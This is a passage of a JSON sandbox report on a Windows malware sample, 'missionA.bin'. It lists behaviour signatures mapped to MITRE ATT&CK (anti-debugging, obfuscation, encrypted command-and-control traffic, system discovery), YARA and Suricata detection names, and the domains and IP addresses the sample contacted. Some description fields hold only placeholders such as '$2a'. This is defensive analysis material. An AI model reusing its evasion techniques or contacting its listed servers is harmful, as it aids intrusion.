reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"missionA.bin\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 53111-1448-00000001400247D6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - Cryptography Rijndael\n Matched sigs: YARA signature match - Crypto Library","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Detected Suricata Alert - CnC Activity\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Found potential IP address in binary/memory","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\".exe\" called \"IsWow64Process\" with parameter \"3864\" - (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\".exe\" called \"GetVersionExA\" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003864)\n \".exe\" called \"GetVersionExA\" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\".exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"missionA.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"missionA.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"Helpers::GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; File: \"missionA.bin\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"missionA.bin\")\n Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"missionA.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindow\"; File: \"missionA.bin\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"missionA.bin\")\n Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 53111-1858-0000000140021C18","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\".exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003864)\n \".exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00003864)\n \".exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00003864)\n \".exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00003864)\n \".exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00003864)\n \".exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$30","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"us.imgjeoigaa.com\"\n \"app.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"103.100.211.218:80\"\n \"154.221.26.108:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"SnippingTool.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"Helpers::RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"missionA.bin\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"missionA.bin\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 33886-1-000000010000F3CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"Helpers::RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"missionA.bin\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"missionA.bin\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"missionA.bin\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"missionA.bin\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"missionA.bin\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"missionA.bin\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys (API string)","description":"Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1547.009","relevance":1,"id":"string-545","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"missionA.bin\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"missionA.bin\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"missionA.bin\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"r%windir%\\system32\\mapi32.dll\" (Indicator: \"MAPI32.dll\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"DISMHOST.EXE.64DF1521.bin\" as clean (type is \"PE32+ executable (GUI) x86-64 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\".exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \".exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \".exe\" failed to load missing module \"api-ms-win-core-datetime-l1-1-1\" - [base:0; Status:c0000135]\n \".exe\" failed to load missing module \"api-ms-win-core-localization-obsolete-l1-2-0\" - [base:0; Status:c0000135]\n \".exe\" failed to load missing module \"winhttp.dll\" - [base:f99d0000; Status:c000007c]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"missionA.bin\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$34","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FDE20000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"14001500000000003c9a58fdfe070000@IPHLPAPI.DLL\"\n \"14001500000000001ef18cfafe070000@dhcpcsvc6.DLL\"\n \"1b001c0000000000307f73fafe070000@IPHLPAPI.DLL\"\n \"130014000000000036f18cfafe070000@dhcpcsvc6.DLL\"\n \"0d000e0000000000a2f08cfafe070000@dhcpcsvc.DLL\"\n \"1b001c0000000000aa206cfafe070000@IPHLPAPI.DLL\"\n \"1200130000000000d8f08cfafe070000@dhcpcsvc.DLL\"\n \"1100120068006500c4f08cfafe070000@dhcpcsvc.DLL\"\n \"110012000000000030df8ffdfe070000@wininet.DLL\"\n \"0f0010000000000050df8ffdfe070000@wininet.DLL\"\n \"1100120000000000d68c58fdfe070000@api-ms-win-downlevel-ole32-l1-1-0.dll\"\n \"0d000e0000000000e03bddf3fe070000@IPHLPAPI.DLL\"\n \"0f00100000000000183cddf3fe070000@IPHLPAPI.DLL\"\n \"0c000d0000000000383cddf3fe070000@IPHLPAPI.DLL\"\n \"15001600000000006834ddf3fe070000@ADVAPI32.dll\"\n \"0e000f0000000000e834ddf3fe070000@ADVAPI32.dll\"\n \"0e000f00000000002035ddf3fe070000@ADVAPI32.dll\"\n \"1100120000000000e839ddf3fe070000@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"missionA.bin\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"missionA.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"DISMHOST.EXE.64DF1521.bin\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"DISMHOST.EXE.64DF1521.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\".exe\" touched \"NetworkListManager\" (Path: \"HKCU\\CLSID\\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\")\n \".exe\" touched \"Network List Manager\" (Path: \"HKCU\\CLSID\\{A47979D2-C419-11D9-A5B4-001185AD2B89}\")\n \".exe\" touched \"PSFactoryBuffer\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\")\n \".exe\" touched \"WinInetBroker Class\" (Path: \"HKCU\\CLSID\\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"missionA.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"DISMHOST.EXE.64DF1521.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"missionA.bin\" has an executable section named \".text\"\n \"DISMHOST.EXE.64DF1521.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"missionA.bin\" has an writable section named \".data\"\n \"DISMHOST.EXE.64DF1521.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"missionA.bin\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x140024d10,add\trsp, 0x28,jmp\t0x14000bee6,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,jmp\tqword ptr [rip - 0x22f82],int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,nop\tword ptr [rax + rax],cmp\trcx, qword ptr [rip + 0x6951],jne\t0x1400247fb,rol\trcx, 0x10,test\tcx, 0xffff,jne\t0x1400247f7,ret\t0,ror\trcx, 0x10,jmp\t0x140024dcc,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,jmp\tqword ptr [rip - 0x22fbc],int3\t,int3\t,int3\t,int3\t,\"\n \"DISMHOST.EXE.64DF1521.bin\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x10000fcc0,add\trsp, 0x28,jmp\t0x10000f0b8,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,nop\tword ptr [rax + rax],cmp\trcx, qword ptr [rip + 0x6da9],jne\t0x10000f40b,rol\trcx, 0x10,test\tcx, 0xffff,jne\t0x10000f407,ret\t0,ror\trcx, 0x10,jmp\t0x10000fd7c,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,mov\tqword ptr [rsp + 0x10], rbx,mov\tdword ptr [rsp + 0x18], r8d,mov\tqword ptr [rsp + 8], rcx,push\trsi,push\trdi,push\tr12,sub\trsp, 0x40,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"missionA.bin\" has high imagebase 